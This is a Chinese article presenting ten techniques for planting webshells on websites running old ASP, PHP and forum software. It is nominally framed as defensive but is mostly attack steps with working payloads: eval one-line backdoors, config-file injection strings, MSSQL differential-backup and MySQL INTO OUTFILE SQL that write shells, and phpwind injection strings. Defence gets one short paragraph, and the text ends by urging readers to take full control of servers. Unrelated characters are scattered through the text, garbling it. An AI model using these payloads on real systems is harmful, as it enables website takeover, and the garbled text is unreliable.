黑客在入侵企業(yè)網(wǎng)站時诬滩,通常要通過各種方式獲取webshell從而獲得企業(yè)網(wǎng)站的控制權(quán)鹃栽,然后方便進行之后的入侵行為秆剪。本篇文章將如何獲取webshell總結(jié)成為了十種方法秆麸,希望廣大的企業(yè)網(wǎng)絡管理員能夠通過了解獲取webshell的途徑,對企業(yè)自身進行防范蜒蕾。
一稠炬、直接上傳獲取webshell
這種對php和jsp的一些程序比較常見,MolyX
BOARD就是其中一例滥搭,直接在心情圖標管理上傳酸纲。php類型捣鲸,雖然沒有提示瑟匆,其實已經(jīng)成功了,上傳的文
件url應該是http://forums/images/smiles/下,前一陣子的聯(lián)眾游戲站和網(wǎng)易的jsp系統(tǒng)漏洞就可以直接上傳jsp文件愁溜。文
件名是原來的文件名疾嗅,bo-blog后臺可以可以直接上傳。php文件冕象,上傳的文件路徑有提示代承。以及一年前十分流行的upfile.asp漏洞(動網(wǎng)
5.0和6.0、早期的許多整站系統(tǒng))渐扮,因過濾上傳文件不嚴论悴,導致用戶可以直接上傳webshell到網(wǎng)站任意可寫目錄中,從而拿到網(wǎng)站的管理員控制權(quán)
限墓律。
二膀估、添加修改上傳類型
現(xiàn)在很多的腳本程序上傳模塊不是只允許上傳合法文件類型,而大多數(shù)的系統(tǒng)是允許添加上傳類型耻讽,bbsxp后臺可以添加asa|asP類
型察纯,ewebeditor的后臺也可添加asa類型,通過修改后我們可以直接上傳asa后綴的webshell了针肥,還有一種情況是過濾了饼记。asp,可以添
加慰枕。aspasp的文件類型來上傳獲得webshell.php系統(tǒng)的后臺具则,我們可以添加。php.g1f的上傳類型具帮,這是php的一個特性乡洼,最后的哪個
只要不是已知的文件類型即可,php會將php.g1f作為匕坯。php來正常運行束昵,從而也可成功拿到shell.LeadBbs3.14后臺獲得
webshell方法是:在上傳類型中增加asp ,注意葛峻,asp后面是有個空格的锹雏,然后在前臺上傳ASP馬,當然也要在后面加個空格术奖!
三礁遵、利用后臺管理功能寫入webshell
上傳漏洞基本上補的也差不多了,所以我們進入后臺后還可以通過修改相關(guān)文件來寫入webshell.比較的典型的有dvbbs6.0采记,還有
leadbbs2.88等佣耐,直接在后臺修改配置文件,寫入后綴是asp的文件唧龄。而LeadBbs3.14后臺獲得webshell另一方法是:添加一個新
的友情鏈接兼砖,在網(wǎng)站名稱處寫上冰狐最小馬即可,最小馬前后要隨便輸入一些字符,http:\\網(wǎng)站\inc\IncHtm\BoardLink.asp就
是我們想要的shell.
四讽挟、利用后臺管理向配置文件寫webshell
利用"""":""http://"等符號構(gòu)造最小馬寫入程序的配置文件懒叛,joekoe論壇,某某同學錄耽梅,沸騰展望新聞系統(tǒng)薛窥,COCOON
Counter統(tǒng)計程序等等,還有很多php程序都可以眼姐,COCOON
Counter統(tǒng)計程序舉例诅迷,在管理郵箱處添上cnhacker@263.net":eval request(chr (35))//,
在配制文件中就是webmail="cnhacker@263.net\":eval request(chr(35))//"众旗,還有一種方法就是寫上
cnhacker@263.net"%><%eval
request(chr(35))%><%'竟贯,這樣就會形成前后對應,最小馬也就運行了逝钥。<%eval
request(chr(35))%>可以用lake2的eval發(fā)送端以及最新的2006
客戶端來連屑那,需要說明的是數(shù)據(jù)庫插馬時候要選前者。再如動易2005艘款,到文章中心管理-頂部菜單設置-菜單其它特效持际,插入一句話
馬"%><%execute request("l")%><%',保
存頂部欄目菜單參數(shù)設置成功后哗咆,我們就得到馬地址http://網(wǎng)站/admin/rootclass_menu_config.asp.
五蜘欲、利用后臺數(shù)據(jù)庫備份及恢復獲取webshell
主要是利用后臺對access數(shù)據(jù)庫的“備份數(shù)據(jù)庫”或“恢復數(shù)據(jù)庫”功能,“備份的數(shù)據(jù)庫路徑”等變量沒有過濾導致可以把任意文件后綴改
為asp晌柬,從而得到webshell姥份,msssql版的程序就直接應用了access版的代碼,導致sql版照樣可以利用年碘。還可以備份網(wǎng)站asp文件為其
他后綴
如澈歉。txt文件,從而可以查看并獲得網(wǎng)頁源代碼屿衅,并獲得更多的程序信息增加獲得webshell的機會埃难。在實際運用中經(jīng)常會碰到?jīng)]有上傳功能的時
候,但是有asp系統(tǒng)在運行涤久,利用此方法來查看源代碼來獲得其數(shù)據(jù)庫的位置涡尘,為數(shù)據(jù)庫插馬來創(chuàng)造機會,動網(wǎng)論壇就有一個ip地址的數(shù)據(jù)庫响迂,在后臺的ip管
理中可以插入最小馬然后備份成考抄。asp文件即可。在談談突破上傳檢測的方法蔗彤,很多asp程序在即使改了后綴名后也會提示文件非法川梅,通過在疯兼。asp文件頭加
上gif89a修改后綴為gif來騙過asp程序檢測達到上傳的目的,還有一種就是用記事本打開圖片文件挑势,隨便粘貼一部分復制到asp木馬文件頭镇防,修改
gif后綴后上傳也可以突破檢測啦鸣,然后備份為潮饱。asp文件,成功得到webshell.
六诫给、利用數(shù)據(jù)庫壓縮功能
可以將數(shù)據(jù)的防下載失效從而使插入數(shù)據(jù)庫的最小馬成功運行香拉,比較典型的就是loveyuki的L-BLOG,在友情添加的url出寫
上<%eval request (chr(35))%>中狂,
提交后凫碌,在數(shù)據(jù)庫操作中壓縮數(shù)據(jù)庫,可以成功壓縮出胃榕。asp文件盛险,用海洋的最小馬的eval客戶端連就得到一個webshell.
七、asp+mssql系統(tǒng)
這里需要提一點動網(wǎng)mssql版勋又,但是可以直接本地提交來備份的苦掘。首先在發(fā)帖那上傳一個寫有asp代碼的假圖片,然后記住其上傳路徑楔壤。寫一個本地提
交的表單鹤啡,代碼如下:
action=http://網(wǎng)站/bbs/admin_data.asp?action=RestoreData&act=Restore
method="post">
已上傳文件的位置:
size="80">
要復制到的位置:
type="text" size="80">
value="提交">
另存為蹲嚣。htm本地執(zhí)行递瑰。把假圖片上傳路徑填在“已上傳文件的位置”那里,想要備份的WebShell的相對路徑填寫在“要復
制到的位置”那里隙畜,提交就得到我們可愛的WebShell了抖部,恢復代碼和此類似,修改相關(guān)地方就可以了议惰。沒有遇到過后臺執(zhí)行mssql命令比較強大的
asp程序后臺您朽,動網(wǎng)的數(shù)據(jù)庫還原和備份是個擺設,不能執(zhí)行sql命令備份webshell换淆,只能執(zhí)行一些簡單的查詢命令哗总。可以利用mssql注入差異備
份webshell倍试,一般后臺是顯示了絕對路徑讯屈,只要有了注入點基本上就可以差異備份成功。下面是差異備份的主要語句代碼县习,利用動網(wǎng)7.0的注入漏洞可以
用差異備份一個webshell涮母,可以用利用上面提到的方法谆趾,將conn.asp文件備份成。txt文件而獲得庫名叛本。
差異備份的主要代碼:
沪蓬;declare @a sysname,@s varchar(4000) select @a=db_name()来候,@s=0x626273 backup database @a to disk=@s——
跷叉;Drop table [heige];create table [dbo].[heige] ([cmd] [image])——
营搅;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)——
云挟;declare @a sysname,@s varchar(4000) select @a=db_name()转质,@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL园欣,F(xiàn)ORMAT——這段代碼中,0x626273是要備份的庫名bbs的十六進制休蟹,可以是其他名字比如bbs.bak沸枯; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的十六進制,是lp最小馬赂弓;0x643A5C7765625C312E617370是d:\web\1.asp的十六進制绑榴,也就是你要備份的webshell路徑。當然也可以用比較常見備份方式來獲得webshell拣展,唯一的不足就是備份后的文件過大彭沼,如果備份數(shù)據(jù)庫中有防下載的的數(shù)據(jù)表,或者有錯誤的asp代碼备埃,備份出來的webshell就不會成功運行姓惑,利用差異備份是成功率比較高的方法,并且極大的減少備份文件的大小按脚。
八于毙、php+mysql系統(tǒng)
后臺需要有mysql數(shù)據(jù)查詢功能,我們就可以利用它執(zhí)行SELECT …… INTO
OUTFILE查詢輸出php文件辅搬,因為所有的數(shù)據(jù)是存放在mysql里的唯沮,所以我們可以通過正常手段把我們的webshell代碼插入mysql在利用
SELECT …… INTO OUTFILE語句導出shell.在mysql操作里輸入select
0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql.user into outfile
'路徑‘ 就可以獲得了一個<?eval($_POST[a])堪遂;介蛉?>的最小馬'
0x3C3F6576616C28245F504F53545B615D293B3F3E
是我們<?eval($_POST[a])溶褪;币旧?>的十六進制,這種方法對phpmyadmin比較普遍猿妈,先利用phpmyadmin的路徑泄
露漏洞吹菱,比較典型的 是http://url/phpmyadmin/libraries/select_lang.lib.php.
就可以暴出路徑巍虫,php環(huán)境中比較容易暴出絕對路徑:)。提一點的是遇到是mysql在win系統(tǒng)下路徑應該這樣寫d:\\wwwroot
\\a.php.下面的方法是比較常用的一個導出webshell的方法鳍刷,也可以寫個vbs添加系統(tǒng)管理員的腳本導出到啟動文件夾占遥,系統(tǒng)重起后就會添加一
個管理員帳號CREATE TABLE a(cmd text NOT NULL)
INSERT INTO a(cmd) VALUES('<?fputs(fopen("./a.php"输瓜,"w")瓦胎,"<?eval(\$_POST[a])前痘;凛捏?>")担忧?>')
select cmd from a into outfile '路徑/b.php' DROP TABLE IF EXISTS a訪問b.php就會生成一個<芹缔?eval($_POST[a]);瓶盛?>的最小馬最欠。
如果遇到可以執(zhí)行php命令就簡單多了,典型的代表是BO-BLOG惩猫,在后臺的php命令框輸入以下代碼:
<芝硬?$sa = fopen("./up/saiy.php","w")轧房;fwrite($sa拌阴,"<?eval(\$_POST[a])奶镶;迟赃?".">");fclose($sa)厂镇;纤壁?>
就會在up目錄下生成文件名為saiy.php內(nèi)容為<?eval($_POST[a])捺信;酌媒?>的最小php木馬,最后用lanker
的客戶端來連接迄靠。實際運用中要考慮到文件夾是否有寫權(quán)限秒咨。或者輸入這樣的代
碼<掌挚?fputs(fopen("./a.php"雨席,"w"),"<疫诽?eval(\$_POST[a])舅世;旦委?>")?>
將會在當前目錄生成一個a.php的最小馬雏亚。
九缨硝、phpwind論壇從后臺到webshell的三種方式
方式1 模板法進入后臺, 風格模版設置 罢低,在隨便一行寫代碼查辩,記住,這代碼必須頂著左邊行寫网持,代碼前面不可以有任何字符宜岛。
EOT;eval($a)功舀;print <<
方式2 臟話過濾法進入安全管理 ◇ 不良詞語過濾萍倡。新增不良詞語寫 a‘]=’aa‘;eval($_POST[’a‘])辟汰;//
替換為那里可以隨意寫列敲,而后得到一個shell地址為http://網(wǎng)站/bbs/data/bbscache/wordsfb.php.
方式3
用戶等級管理新建立會員組,頭銜你可以隨便寫帖汞,但是千萬不要寫單雙引號特殊符號戴而,升級圖片號寫a‘;eval($_POST[’a‘])翩蘸;//
所意,升級點數(shù)依然可以隨意寫。而后得到一個shell地址為http://網(wǎng)站/bbs/data/bbscache/level.php.以上三種方式得
到webshellr的密碼是a催首,為lanker的一句話后門服務端扶踊。
十、也可以利用網(wǎng)站訪問計數(shù)系統(tǒng)記錄來獲取webshell
最明顯的就是某私服程序內(nèi)的阿江計數(shù)程序翅帜,可以通過http://網(wǎng)站/stat.asp姻檀?style=text&referer=
代碼內(nèi)容&screenwidth=1024直接提交,
即可把代碼內(nèi)容直接插入到計數(shù)系統(tǒng)的數(shù)據(jù)庫中涝滴,而此系統(tǒng)默認數(shù)據(jù)庫為count#.asa绣版,我們可以通過http://網(wǎng)站/count%23.asa訪
問得到webshell,由于阿江計數(shù)程序過濾了%和+歼疮,將最小馬改成
LANGUAGE=vbSCRIPT>eval(Request("1"))替換代碼內(nèi)容處提交杂抽,然后用lake2
的eval客戶端來提交,值得一提的是如果進到計數(shù)后臺韩脏,可以清理某時某刻的數(shù)據(jù)缩麸,一旦插入asp木馬失敗,可以清理數(shù)據(jù)庫再次操作赡矢。
解決方案由于本文涉及的代碼版本很多杭朱,所以不可能提供一個完美的解決方案阅仔。有能力者可以針對本文提到的漏洞文件進行適當修補,若漏洞文件不影響系統(tǒng)
使用也可刪除此文件弧械。大家如果不會修補八酒,可以到相關(guān)官方網(wǎng)站下載最新補丁進行修復更新。同時也請大家能時刻關(guān)注各大安全網(wǎng)絡發(fā)布的最新公告刃唐,若自己發(fā)現(xiàn)相
關(guān)漏洞也可及時通知官方網(wǎng)站羞迷。
后記其實,從后臺得到webshell的技巧應該還有很多的画饥,關(guān)鍵是要看大家怎么靈活運用衔瓮、觸類旁通,希望本文的方法能起到拋磚引玉的作用抖甘。 各位加油吧热鞍,讓我們將服務器控制到底!